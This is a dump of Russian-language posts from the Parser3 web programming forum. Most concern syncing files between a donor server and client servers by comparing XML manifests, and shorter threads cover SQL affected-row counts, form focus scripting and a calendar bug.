		<file date=\"1131701691\" link=\"/admin/auto.p\" size=\"1905\">auto.p</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/index.html\" size=\"13264\">index.html</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/tableadded.tbl\" size=\"589\">tableadded.tbl</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/tablelost.tbl\" size=\"93\">tablelost.tbl</file>\
.......\
[/code]\
\
Второй:\
[code]\
аналогично первому, меняются только аттрибуты в тэгах <file />\
[/code]\
\
Надо как-то вычленить между файлами \"разницу\". Т.е.: получить записи в тэгах <file> где атрибуты разные, а также аналогичные записи из первого файла, которых нет во втором.\
\
Дайте ключевые слова для задания вектора направления движения.\
\
ЗЫ. Общая задача:\
1. Получение файла конфигурации *.xml с \"сервера-донора\"\
2. Сравнение текущей конфигурации \"сервера-акцептора\" с полученной\
3. Вычленение разницы между ними\
4. Скачивание измененных или недостающих файлов.\
\
К"
"46782","Официальная страница wGet:\
http://www.gnu.org/software/wget/\
\
wGet, собранный под Windows:\
http://xoomer.virgilio.it/hherold/"
"46783","Единственно что, нужно предварительно сделать - объединить оба xml в один, а дальше дело техники.\
Результатом работы xsl сделать скажем ещё одну xml-ку в которой будет всё по полочкам разложено."
"46784","для koi8 действительно, буква ё имеет смещение. Я использую под win кодировкой там всё ровно.\
\
Добавил в метод."
"46785","все методы, которые я пишу для работы с текстом, так или иначе используют регулярные выражения. Это не очень хорошо.\
Эти методы используются крайне редко, а делать специально класс крайне редко используемых методов - нелогично.\
Проще добавить нужный метод в общий набор, скажем в misc.p"
"46786","http://phpadsnew.com/two/"
"46787","Ну не знаю, как-то не кузяво все это. \"В лоб\" - это вообще в хэши оба файла перевести да и вычитать, но уж больно они большие - по 3000 записей в каждом. Памяти не напасешься...\
\
А как можно SAX прикрутить к Парсеру? Может на JavaScript что-то есть? Тогда потихоньку, последовательно и обрабатывать входящий файл."
"46788","[code]\
^file:lock[/lock.file]{\
\
la-la=la...\
\
}\
[/code]\
\
Не само-удаляется файл /lock.file после отработки блока. Этот \"мусор\" так и задумано оставлять или это фича и я чего-то не понимаю?"
"46790","частенько удобно использовать класс символов: \
\\w\
\
это класс \
\\w       символ слова, обычно [a-zA-Z0-9_] \
\
[code]\
A \"word\" character is any letter or digit or the underscore character, that is, any character which can be part of a Perl \"word\". The definition of letters and digits is controlled by PCRE's character tables, and may vary if locale- specific matching is taking place (see \"Locale support\" above). For example, in the \"fr\" (French) locale, some character codes greater than 128 are used for accented letters, and these are matched by \\w. \
[/code]"
"46792","чтобы parser не перекодировал вам ничего.\
$file.text при этом доступен."
"46793","то можно ^file::exec[diff;;было;стало] напустить\
в нужном формате, чтобы выдал:\
\
-lala << умерла строка\
+bebe << добавилась строка"
"46794","1.\
ведь админы разные бывают. некоторые не дают права на создание файлов в некоем каталоге.\
а пользователь хочет непременно в нём держать.\
\
сейчас пользователь может создать файл по ftp, дать право на запись, пользоваться спокойно.\
\
2.\
если потребовалась блокировка, значит действие потенциально очень частое: на действия, происходящие раз в месяц, вряд ли бы кто стал lock писать.\
ну а раз частое, то время тут дорого — и нечего его тратить на постоянное создание файла."
"46795","Виндовый интранет, например, не имеет diff >:-{Q\
\
Ладно, что-то придумаем. И доложимся потом :)"
"46796","Хотя и для хешей одинаково.\
По опыту скажу, недавно делал импорт для магазина, так у меня при любых вариантах ухищрений памяти на процесс не хватало при обработке 6000 записей.\
Т.е. грузил xml 6000 записей и приехали...\
Вышел из положения только кроном. Здесь думаю будет похожая ситуация. Если как минимум два файлика для сравнения по 3000 записей качнуть, то будет та же кухня.\
\
Можно ещё вот как выйти из положения, не использовать объект xml, он очень много памяти кушает, а обрабатывать как текст прямо парсером."
"46797","Как раз под рукой код завалялся для копи-пасте:\
\
[code]\
$strLoc[ .,?~!@#^$%^^&*()[]-+|/\\01234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдеёжзийклмнопрстуфхцчшщъыьэюя_]\
\
$strNew[^strLoc.match[([\\W])][g]{}]\
\
$strLoc<br>\
\
$strNew\
[/code]"
"46798","Это как раз в тему про XML/XSL. Первая же задача и технология тут же уперлась в типовые ограничения по памяти на хостинге :(\
\
Ладно. Будем лепить файлы ini :) и парсить строки. оно как-то спокойнее и привычнее."
"46800","diff есть в cygwin, списывается пара файлов и нет проблем.\
специализированная штука, потребляет мало памяти."
"46801","На сегодня я могу зафиксировать только структуру (тэги) xml документа, а не его физическое форматирование. Завтра что-то изменится, пара тэгов добавится, например, и все рухнет :(\
\
Как вариант: сейчас попробую распарсить входящий документ в БД, а там уже, средствами БД, искать diff между текущей конфигурацией и пришедшей в файле xml. Для правильно съиндексированной БД 3000 записей - это мизер."
"46802","Потому и не подходит."
"46803","например [url=\"http://www.biglist.com/lists/xsl-list/archives/200106/msg01225.html\"]средствами XSL[/url], хотя тут опять же все упирается в память под 3 тысячи строк..."
"46804","Как раз на задачи межсайтового, платформо-независимого взаимодействия она и проектировалась. Для обмена данными между сайтами, для отделения контента от содержимого и т.п. Моя задача как раз из этой области: выделить БД по файлам, собрать все в XML файл, и передать на другой сервер, где обработать и вычленить разницу между текущими конфигурациями серверов. Затем скачать недостающее или изменное файло.\
\
Но она НЕ ТЯНЕТ! подобное. Не по причине \"плохого\" формата или ущербности самой идеи, а по обычным \"бытовым\" причинам: мощности на общепринятых хостингах банально не хватает!\
\
О чем я Вам и говорил несколько дней тому назад. А Вы не верили."
"46805","Но я на \"вне парсерных\" методах делать точно не буду. И по технологии XML тоже наверное довольно условно - только формирование файла и его межсерверный трансфер. Дальше - либо парсинг как строки, либо загоню в БД и там уже поиск/извлечение.\
\
В парсере иной раз не хватает SAX (последовательный доступ к xml). Но я знаю что попросит ПАФ - patch -u :) А его у меня нет и вряд-ли будет :("
"46806","[quote]Проще добавить нужный метод в общий набор, скажем в misc.p[/quote]\
\
гм.\
\
1) А misc.p не может быть классом со статическими методами? :-) Хотя, конечно, при чем тут ООП :)\
2) misc.p -> помойка.p, поскольку именно этим он и будет являться\
\
[code]Эти методы используются крайне редко, а делать специально класс крайне редко используемых методов - нелогично.[/code]\
\
Класс не логично, a библиотека -- логично? Не понял логики.\
\
В любом случае спорить не стану -- у каждого своя программа действий."
"46807","Я бы делал так: сводил бы оба файла к DOM-модели и дальше действовал бы по схеме \"сравнение двух списков\".\
\
Вплоть до того, что из нод file организовать хэш с ключем @link и заниматься сравнениями на уровне класса hash. Кстати, не такая уж идиотская затея: на каждый xml приходится select, потом for и хэш готов."
"46808","О, я смотрю правильная идея уже есть :)\
\
С памятью надо смотреть. К тому же эта операция не на каждые пять минут, а синхронизации никогда небыли простыми процессами :)"
"46809","DOM модель жрет память - не подходит."
"46810","OFF: А почему именно на Parser?"
"46811","\"Посекционно! - вот так наверное и сделаю. У меня все равно достаточно ветвистое дерево каталогов и в каждом из них файлов-то не там и много. Вот и побъем обновление на секции - может памяти и хватит. В \"корне\" каждого каталога положим xml с конфигурациями подкаталогов, с датой обновления файлов в аттрибутах. И, по необходимости, будем запрашивать недостающее или изменившееся. Глядишь и памяти хватит, только времени понадобится поболее.\
\
Это если рекурсию не использовать :)"
"46812","А если еще подумать, то можно найти действительно красивое решение."
"46814","Есть файл:\
\
[code]\
<?php\
                if (@include(getenv('DOCUMENT_ROOT').'/ads/phpadsnew.inc.php')) {\
                if (!isset($phpAds_context)) $phpAds_context = array();\
                $phpAds_raw = view_raw ('', 4, '', '', '0', $phpAds_context);\
                echo $phpAds_raw['html'];\
                }\
                ?>\
[/code]\
\
Делаю так\
\
$file[^file::load[text;.ads.php]]\
^untaint{$file.text}\
\
На локалхосте получаю:\
\
[code]\
<a href='http://www.mobitest/ads/adclick.php?bannerid=2&amp;zoneid=0&amp;source=&amp;dest=http%3A%2F%2Fmindwork.ru' target='_blank'><img src='http://www.mobitest/ads/adimage.php?filename=mind_2.jpg&amp;contenttype=jpeg' width='480' height='60' alt='Студия дизайна Mindwork' title='Студия дизайна Mindwork' border='0'></a><div id=\"beacon_2\" style=\"position: absolute; left: 0px; top: 0px; visibility: hidden;\"><img src='http://www.mobitest/ads/adlog.php?bannerid=2&amp;clientid=4&amp;zoneid=0&amp;source=&amp;block=0&amp;capping=0&amp;cb=b5f094d33d6bfcbf1fb8310e2af5aed4' width='0' height='0' alt='' style='width: 0px; height: 0px;'>\
[/code]\
\
тоесть нормальный результат\
\
если выложить на сервер то получаю просто:\
\
[code]\
<?php\
                if (@include(getenv('DOCUMENT_ROOT').'/ads/phpadsnew.inc.php')) {\
                if (!isset($phpAds_context)) $phpAds_context = array();\
                $phpAds_raw = view_raw ('', 4, '', '', '0', $phpAds_context);\
                echo $phpAds_raw['html'];\
                }\
                ?>\
[/code]\
\
как текст"
"46817","http://www.parser.ru/forum/?id=33412"
"46818","или напишите в начале вызываемого PHP файла \
#!/путь/к/рнр\
сделайте его исполняемым\
и используйте ^file::exec[ads.php]"
"46819","зачем плодить лишние проверки."
"46820","Ребята - вы - чудо - я бы вас всех расцеловал, еслиб не был парнем и нас не разделяли пара системников! сайт сдал - \"допинал\" до кондиции сегодня ночью - в 3 часа. я счастлив, что вы есть... и пить.... будете дабы отметить сие событие!"
"46821","[code]<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">[/code]\
Эта ср*ная строчка заставила меня часов 10 искать ошибку (хотя из-за этого я сменил верстку и пофиксил баги) но она мне не позволяла сделать сие:\
3 строки в таблице:\
1 - сверху - заголовок - статич.\
2 - 100% height - резиновый - меняется высота\
3 - футер - статичный - всегда прижат к низу - height=\"100\"\
\
так вот - если средняя строка была меньше вьюпорта - она подтягивала к себе нижнюю, что в принципе ацтойно выглядело. я не мог понять в чем дело... оказалось - в этой строке:\
[code]<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">[/code]\
че за хрень? зачем ее Dreamweaver по умолчанию в до'кумент встраивает?\
короче - удаляйте ее - и без нее хорошо!"
"46823","Как бы узнать, сколько строк было удалено при исполнении SQL команды? Пробовал через ^int:sql{}, но ощутимого результата не дало."
"46825","А почему бы не передавать только те файлы которые изменены?\
Или ставить атрибут версии, то есть сравнивать только версию, и если на сервере доноре есть более новая версия на сервере ацепторе заменять строку с более младшей версией?"
"46827","...надо сперва купить это \"что-то\".\
\
Чтобы узнать какие файлы изменены, надо скачать список с текущей конфигурацией \"сервера-матки\" и сравнить со своей имеющейся. Что и делается, а точнее проектируется и отлаживается. Скачивать планируется как раз толкьо то. что изменено. Если бы можно было действовать по методу \"скачать все!\", то и огород городить не нужно было бы - взял, да и скачал все чохом.\
\
Вариант \"помнить на раздающем сервере что сейчас на сервере клиенте\" не возможен. А если на сервере-получателе перекорябали что-то ручками?"
"46828","Тогда получается ты сравниваешь на сервере доноре?\
Если так то сервер донор однозначно более мощная машина которая может выдерживать такие нагрузки."
"46830","На сей момент я хочу сравнить на сервере-акцепторе. Он получает файл с описанием текущей конфигурации, сравнивает с тем, что у него имеется, выделяет то, что надо обновить или дополнить (а может и удалить!), и запрашивает и получает недостающее.\
\
Конечно можно и наоборот все сделать, но это и в самом деле потребует от \"донора\" больших мощностей (это во-первых), а во-вторых надо будет вообще выходить на уровень транзакций на случай сбоев и \"незавершенки\" во-время обновления. Оно надо?"
"46832","/: /home/www/platonov/autokom/auto.p(4:18): 'WINDOWS-1251' unknown charset [parser.runtime] - чо за фигня? как вылезти из этого?"
"46833","... про это подробно написано.\
+ поиск по форуму http://parser.ru/forum/?terms=unknown+charset&search_in_message=1&doSearch=1"
"46834","Что, даже удостоверение никакое не попросишь? :)\
\
На самом деле вряд ли тут можно вылечить \"по телефону\": все зависит от конкретной архитектуры. Может быть нужно было задуматься о вопросах синхронизации на этапе проектирования. \
\
Самый тупой вариант (в данном случае), это бить файл на куски и обрабатывать ситуацию постранично. Ну и может быть попробовать хранить такие данные не в xml :)"
"46835","Вот ответ: http://www.parser.ru/forum/?id=46834"
"46838","[quot]Самый тупой вариант (в данном случае), это бить файл на куски и обрабатывать ситуацию постранично. Ну и может быть попробовать хранить такие данные не в xml :)[/quot]\
\
http://www.parser.ru/forum/?id=46811 - \"посекционно\"."
"46839","Ну транзакции прекрасно работают, проверял на выделенном сервере.\
А производительность, в любом случае донор должен быть очень мощной машиной.\
Кстати как найдешь решение напиши пожалуйста."
"46840","Человек покупающий админку за большие деньги должен быть готов заплатить за хороший хостинг"
"46842","нам никогда не надо было.\
хотите, доделайте драйвер, чтобы так было.\
дело пяти строк."
"46843","Сталкивался.\
Сначала делал SELECT count(*) с теми же условиями с которыми DELETE"
"46844","ROW_COUNT() returns the number of rows updated, inserted, or deleted by the preceding statement. This is the same as the row count that the mysql client displays and the value from the mysql_affected_rows() C API function."
"46846","прошу прощения, не понял вопроса.\
я не использую перл"
"46847","select ROW_COUNT() \
\
выдаёт ошибку"
"46849","Алгоритм такой:\
\
Забираем с \"донора\" файл xml с перечнем файлов которые на нем есть. Забрав, парсим (блох не ловить - сам знаю что надо доделать!):\
\
[code]\
$tabStructure[^_structure.text.match[^^[^#09 ]*<file\\s+date\\s*=\\s*\"(\\d+)\"\\s+size\\s*=\\s*\"(\\d+)\"\\s*>(.+)</file>.*^$][gm]]\
[/code]\
\
Полученную таблицу запихиваем в БД через ^table.menu{В БД!}\
\
Имена файлов, с путями, у нас уникальны по определению (в одном директории не могут два одинаковых файла сидеть) и по ним в БД UNIQUE INDEX сделан и посему потом файл в ней ищется просто изумительно!\
\
Дальше перебираем файлы по одному и качаем то, чего нам не хватает или то, что имеет другое время создания или размер.\
\
Можно и без БД обойтись вроде бы и просто перебрать всю таблицу, но мало-ли какой сбой межсерверной связи - не хочется потерять то что уже есть - хочется \"докачать\" недостающее.\
\
Теперь надо \"вылизывать\" баги, которые явно по габаритам больше чем тот, который ПАФ в отпуске словил. Допуск по временам создания файлов особенно - надо учеть возможную разницу во временных поясах и неточность системных часов серверов. Но это мы как-нибудь статистически будем прикидывать - файлов много, выборка будет репрезентативная.\
\
Такой вот замечательный \"XML\" получился. Завтра я его на ini переделаю :)"
"46853","Вот метод, который не претендует на оптимальность, но работает.\
\
[code]\
#############################################################\
@main[]\
^method[/test/file1.xml;/test/file2.xml]\
\
#############################################################\
@method[donor_file;acceptor_file][donor;acceptor]\
# загружаем донора и переводим в формат таб-делимитед\
$donor[^xdoc::load[$donor_file]]\
$donor[^donor.transform[/test/transform.xsl]]\
^donor.save[donor_tab.cfg;\
    $.method[text] \
    $.indent[no]\
    $.omit-xml-declaration[yes]\
]\
$donor[]\
\
# загружаем акцептора и переводим в формат таб-делимитед\
$acceptor[^xdoc::load[$acceptor_file]]\
$acceptor[^acceptor.transform[/test/transform.xsl]]\
^acceptor.save[acceptor_tab.cfg;\
    $.method[text] \
    $.indent[no]\
    $.omit-xml-declaration[yes]\
]\
$acceptor[]\
\
# загружаем донора и акцептора в соответствующие таблицы...\
$donor[^table::load[donor_tab.cfg]]\
$acceptor[^table::load[acceptor_tab.cfg]]\
# ...и переводим их в хеши\
$donor[^donor.hash[link]]\
$acceptor[^acceptor.hash[link]]\
\
\
<table border=\"1\">\
^donor.foreach[link;atribs]{\
<tr>\
	<td>$link</td>\
	^if(!def $acceptor.[$link]){\
		<td style=\"color:red\">этого файла нет в акцепторе</td>\
	}{\
		^if($atribs.date == $acceptor.[$link].date && $atribs.size == $acceptor.[$link].size){<td>файл остался без изменений</td>}{<td style=\"color:red\">есть изменения!</td>}\
	}\
\
</tr>\
}\
</table>\
#############################################################\
[/code]\
\
\
\
\
\
Файл 'transform.xsl':\
_____________________________________________________________\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
	<xsl:template match=\"/parcms/files\">\
date<xsl:text>	</xsl:text>link<xsl:text>	</xsl:text>size<xsl:text>	</xsl:text>name<xsl:text>\
</xsl:text>\
		<xsl:for-each select=\"file\">\
			<xsl:apply-templates select=\".\" />\
		</xsl:for-each>\
	</xsl:template>\
\
	<xsl:template match=\"files/file\">\
<xsl:value-of select=\"@date\" /><xsl:text>	</xsl:text><xsl:value-of select=\"@link\" /><xsl:text>	</xsl:text><xsl:value-of select=\"@size\" /><xsl:text>	</xsl:text><xsl:value-of select=\".\" /><xsl:text>\
</xsl:text>\
	</xsl:template>\
	<xsl:template match=\"text()\" />	\
	\
</xsl:stylesheet>\
[/code]\
_____________________________________________________________\
\
\
\
file1.xml (донор)\
_____________________________________________________________\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<parcms>\
	<title>ParCMS: Content management System</title>\
	<files>\
		<file date=\"1131701691\" link=\"/admin/admin.css\" size=\"303\">admin.css</file>\
		<file date=\"1131701691\" link=\"/admin/auto.p\" size=\"1905\">auto.p</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/index.html\" size=\"13264\">index.html</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/tableadded.tbl\" size=\"589\">tableadded.tbl</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/tablelost.tbl\" size=\"93\">tablelost.tbl</file>\
	</files>\
</parcms>\
[/code]\
_____________________________________________________________\
\
\
\
file2.xml (акцептор)\
_____________________________________________________________\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<parcms>\
	<title>ParCMS: Content management System</title>\
	<files>\
		<file date=\"1131701691\" link=\"/admin/admin.css\" size=\"286\">admin.css</file>\
		<file date=\"1131701691\" link=\"/admin/auto.p\" size=\"1905\">auto.p</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/index.html\" size=\"13264\">index.html</file>\
		<file date=\"1131701691\" link=\"/admin/catalog/base/tableadded.tbl\" size=\"589\">tableadded.tbl</file>\
	</files>\
</parcms>\
[/code]\
_____________________________________________________________\
\
Проверял. Работает.\
При условии, что атрибут link уникальный в пределах xml-файла."
"46854","А ещё можно перед удалением SELECT COUNT(*) и после сделать. И вычесть...\
\
Правда это медленно выйдет."
"46855","Требуется программист на Parser3 из Челябинска.\
\
Суть работы: помощь основному программисту в разработке сайта.\
График свободный.\
Работа дома.\
Желательно студент.\
\
Желающие могут отправить на е-мейл kvestim@mail.ru информацию о себе:\
Имя Фамилия\
Место учебы\
Курс\
Ваши достижения на Р3\
Примеры работ, если есть\
Желаемая з/п"
"46856","любопытно.\
я знаю одно применение этому, что мы в I2 пользуем…"
"46858","дык я ж того выпустил :)"
"46859",":)\
\
А по делу, Александр, что можно сказать про алгоритм? Приемлемо или мне стоит еще подумать над возможными путями? Мне самому то что получилось как-то не очень нравится, если честно :/\
\
Может все-таки перевалить задачу обработки и синхронизации на \"донора\"? Т.к. у меня вся синхронизация довольно \"умной\" планируется (контроль IP и имен серверов и их обновление не чаще раза в сутки для уменьшения нагрузки на \"донора\" и т.п.), то может имеет смысл предусмотреть и \"push\" со стороны \"донора\" на пользовательские сервера. Ну например в случае обнаружения критических ошибок безонасности в скриптах системы и т.п. \"срочных\" обновления. В общем: тоже вариант.\
\
Что Вы по поводу возможных путей думаете?"
"46861","Почему поднимаю этот вопрос, т.к. постоянно на него натыкаюсь.\
\
Использовать <select> как элемент формы приходится постоянно, но вот юзабильность этого элемента очень сильно напрягает.\
\
В частности не нравится что после выбора в этом самом селекте, фокус остаётся там же, а не переходит на следующее поле ввода.\
\
В случае когда ввод данных происходит один раз - это терпимо, но когда выбор нужно делать постоянно, а потом ещё что-то дописывать, то на лишние переходы тратятся лишнее время и делаются лишние движения.\
\
Написал для себя простой javascript который делает переход в следующее поле ввода после выбора.\
[code]\
<html>\
	<script type=\"text/javascript\">\
		function set_next_focus( o_select ){\
			element = o_select.form.elements;\
			for(i=0; i < element.length; i++){\
				if(element[i] == o_select && o_select.options[0].value != o_select.options[element[i].selectedIndex].value){\
					if(element[i+1]){\
						element[i+1].focus();\
					}\
				}\
			}\
		}\
	</script>\
	<body>\
		<form>\
			<input type=\"text\" /><br />\
			<select style=\"width: 120px\" onchange=\"set_next_focus(this)\">\
				<option>select please...</option>\
				<option value=\"1\">one</option>\
				<option value=\"1\">two</option>\
			</select>\
			<br />\
			<input type=\"text\" />\
		</form>\
	</body>\
</html>\
[/code]\
P.S. Возможно код не оптимален... первое что на ум пришло."
"46864","[quote]Забираем с \"донора\" файл xml с перечнем файлов которые на нем есть. Забрав, парсим ...\
\
Полученную таблицу запихиваем в БД через ^table.menu{В БД!}[/quote]\
\
menu для этих целей отстой, ибо очень медленно.\
можно так: написать xsl, который из предоставляемого ему mxl-я сделает [b]текстовый файл[/b], пригодный для загрузки с помощью LOAD DATA INFILE (если это делатеся для MySQL). аналогично можно для оракла, для других не знаю. с помощью этой загрузки данных заливаются на порядок быстрее, при этом есть ключи IGNORE/REPLACE.\
\
я бы не делал push технологию, хотя это и заманчиво с одной стороны: помнить что мы туда отдавали раньше... с другой стороны: а если там что-то поменяли, и нам не сообщили?"
"46865","но когда неотрывно набираешь с клавиатуры - то лишний tab не помеха, а вот чтоб проселектиться, рука невольно тянется к мыши...\
\
Вот тут то и начинаются фокусы. Выбрал мышой, не перевёл фокус, вписал что-то и получаешь следующую картину.\
\
Селект сменился, т.к. в нём есть контекстный поиск, а поле которое ты вроде уже набрал пустое.\
\
Ещё раз говорю, там где имеет место одноразовый ввод - это можно пережить, а там где ввод постоянный, скажем форму нужно раз 20-30 заполнить подряд, скриптец может очень даже пригодиться."
"46867","Как пометить в календаре дни когда забронирован зал в ресторане.\
Делаю запрос к базе и выбираю эти дни ($bron.d)\
\
[code]\
@day[]\
  ^connect[$connect_string]{ \
   $news[^table::sql{select \
       zal, DAY(date) AS d\
   from \
      zakaz  \
where zal=3\
  }] \
^bron.menu{\
   $bron.d\
}\
 } \
[/code]\
\
\
Затем в теле календаря вызываю ^day[] и помечаю другим цветом эти дни, но помечается только один день.\
\
\
\
[code]\
$now[^date::now[]] \
$days[^date:calendar[rus]($now.year;$now.month)] \
<center> \
<table bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr> \
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> \
         <b>$calendar_locale.month_names.[$now.month]</b> \
      </td> \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
\
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr> \
^days.menu{ \
   <tr>[b] ^day[][/b]\
      ^for[week_day](0;6){ \
\
         ^if($days.$week_day){ \
\
            [b]^if($days.$week_day==$bron.d)[/b]{ \
\
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b>$days.$week_day</b> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $days.$week_day \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center> [/code]"
"46868","[quot]\
а вот чтоб проселектиться, рука невольно тянется к мыши...\
[/quot]\
\
Если рука уже на мыше, то ей не сложно перевести фокус на следующее поле.\
\
Но я согласен, что это лишний клик. \
\
Но очень многие привыкли именно к такой функциональности этого элемента. Не стоит ее менять.\
\
Некоторые пользователи возможно автоматически после выбора селекта нажмут кнопку таб. Тогда попадут еще на следующее поле.\
\
Если, всетаки, менять поведение элемента, то я бы сделал более заметным элемент на котором есть фокус. Тогда человек перемещаясь между элементами обратил бы внимание на то что в этой форме элемент с фокусом выделен как то особенно (например красная рамка). И если вдруг у него происходит автоматический перевод фокуса, то он заметит такое поведение. Что не мало важно."
"46869","[code]@day[]\
  ^connect[$connect_string]{ \
   $[b]news[/b][^table::sql{select \
       zal, DAY(date) AS d\
   from \
      zakaz  \
where zal=3\
  }] \
^[b]bron[/b].menu{\
   $[b]bron[/b].d[/code]"
"46871","так сделали в CVS,\
так сделали мы в Imprimatur2.\
\
клиент отправляет «у меня есть это», получает «на тебе, обнови вот это».\
\
что до «много», то предлагаю такой вариант:\
сначала идёт вопрос о том, какие [b]группы[/b] файлов обновились:\
[code]\
клиент:\
а у меня есть:\
/admin/, тут (на любом уровне вложенности) последний раз что-то менялось в \"2005-11-15 09:28 GMT\"\
/news/, а тут (на любом...) последний раз... в \"2005-09-01 09:00 GMT\"\
...\
\
сервер:\
дорогой, а у меня вот\
/news/ обновлялись позже, чем у тебя, пришли подробнее\
/products/ обновлялись позже, чем у тебя, пришли подробнее\
\
клиент:\
да? а что именно у тебя новее, у меня в /news/ есть\
first.html << такой-то timestamp\
second.html << сякой-то\
inner/first.html << ещё какой-то\
...\
и в /products/ у меня это:\
..\
сервер(последний ответ):\
вот тебе\
/news/first.html << его timestamp \"такой-то\"\
/products/second.html << его timestamp \"сякой-то\"\
[/code]\
\
в таком духе можно сделать в два шага, если будет всё ещё много данных, сделать в три шага, по уровням вложенности.\
\
т.к. собираетесь делать средствами parser, то будет проблема выставить на клиенте дату и время принятого с сервера файла.\
это для обновлений некритично. \
пусть файл будет у клиента чуть новее, важно, что запрос на обновление будет правильно присылать файлы.\
\
сдвиг из $file.mtime в GMT в parser есть:\
[code]\
^date:roll[tz;GMT]\
[/code]\
\
преимущество этой схемы, что в случае слишком большого ответа сервера вполне можно его оборвать.\
и вообще процесс можно оборвать в любой точке."
"46872","[quot]можно так: написать xsl, который из предоставляемого ему mxl-я сделает текстовый файл, пригодный для загрузки с помощью LOAD DATA INFILE (если это делатеся для MySQL). аналогично можно для оракла, для других не знаю. с помощью этой загрузки данных заливаются на порядок быстрее, при этом есть ключи IGNORE/REPLACE.[/quot]\
\
Спасибо! Мне и в голову не пришло подобное.\
\
[quot]я бы не делал push технологию, хотя это и заманчиво с одной стороны: помнить что мы туда отдавали раньше... с другой стороны: а если там что-то поменяли, и нам не сообщили?[/quot]\
\
Ниже ПАФ ответил то, что я в общем сам уже додумал :) Не \"чистый\" push получается, а классичекий интерактивный обмен. Спрашивает--> получаем ответ --> анализируем --> при необходимости переспрашиваем--> и т.д."
"46873","Ну в общем все понятно. Я уже начал скелет делать в таком ключе - получил уже из за багов зацикливание запрос-ответ на своем ноуте :) На удаленных машинах это будет прикольнее ;)\
\
Спасибо!"
"46874","этот вариант похож на CVS ;)\
тот работает на уровне каталога.\
это просто и понятно, но многовато запросов.\
\
так конечно гораздо удобнее: если известно, что в таком-то каталоге(и всех детях) ничего не обновлялось, нечего и синхронизировать это.\
\
однако знайте — вы изобретаете велосипед.\
уверен, в природе есть достойные внимания [b]готовые[/b] специализированные инструменты, open source, умеющие хорошо решать задачу синхронизации вороха файлов."
"46875","остаётся только то, что с файлом что-то не то.\
чтобы прочесть более внятное сообщение об ошибке можно запусить через обёртку:\
http://www.parser.ru/forum/?id=32157\
(заменить в .sh слова parser3 на слово nconvert)"
"46876","забавно, но у меня к мыши рука не тянется.\
в ComboBox работает\
* поиск по первой букве\
* листалка стрелками Вверх, Вниз, PgUp, PgDown\
* можно выкинуть список кнопкой Ctrl+Вниз"
"46877","в I2 мы используем rows_updated, чтобы удостовериться, что то, что мы думали, что точно [b]изменяем[/b] реально изменилась.\
т.е. так называемый assert(), которых мало не бывает."
"46878","Т.К. покажите мне толпу хостеров ломанувшихся обновляться до версии 5.\
У меня на 7 (!) хостингах еще тройка установлена и хостеры менять ее на 4 только к новому году будут."
"46879","Это опечатка, а не причина того, что не работает.\
Если вывести просто [b]$bron.d[/b] то выводит все дни, а в календаре помечает только один."
"46880","[code]^if($days.$week_day==$bron.d){...}[/code]\
\
этой строкой вы сравниваете значение, которое лежит в $days.$week_day (номер выводимого дня месяца) со значением, которое лежит в текущей строке таблицы $bron в столбце с именем d. при этом вы нигде не изменяете текущий указатель этой таблицы, т.е. каждый раз вы сравниваете с одним и тем-же.\
\
в вашем случае можно сделать следующее:\
1. ^if($days.$week_day==$bron.d){...} => ^if(^bron.locate[d;$days.$week_day]){...} (незабыть сделать поправку на \"ветер\" в виде начальных нулей)\
\
2. доставать $bron как хеш где ключ - d, и делать ^if($bron.[$days.$week_day]){...}, что будет быстрее чем вариант с locate (про \"ветер\" не забываем и тут).\
\
ещё замечание: day доставать в цикле не надо. незачем делать N одинаковых sql запросов, но вот помнить про месяц и включить его в запрос - нужно (лучше как диапазон, см. пример про новости)"
"46884","select count\
delete from\
select count\
\
для опеределенных случаев вполне себе ничего решение :)"
"46885","ну за тем же самым, чтобы удостовериться что твоя строка сохранена.\
\
И ещё для Pessimistic Offline Lock."
"46886","проектировать форму != постоянно ей пользоваться.\
\
На стадии проектирования формы мы всегда закладываем такое расположение элементов ввода, которое было бы удобно нам (программистам). На деле же очень часто оказывается, что форму заполняет далеко не программист. Знять все горячие клавиши не входит в его обязанность... он просто тупо набивает информацию.\
\
К чему это я. Сегодня я замещал оператора в своём проекте, где вводил довольно не простую форму около 30 раз подряд... из этих 30 раз я ровно в половине не перескакивал в комбобоксе.\
\
После того как на место обратно сел оператор, он приятно удивился этой фишке. К слову (он не пользует TAB, все поля кликает мышкой)."
"46887","Дело в том, что удаляемой записи может и не быть, соответственно, чтобы не делать лишний запрос на проверку ее там существования, который потребует join-а таблиц (как к слову и запрос на удаление), самым простым решением было бы узнать, изменилось что-нибудь в процессе выполнения запроса или нет. В случае если изменилось, сказать, что запись успешно удалена, если нет - ничего не делать.\
\
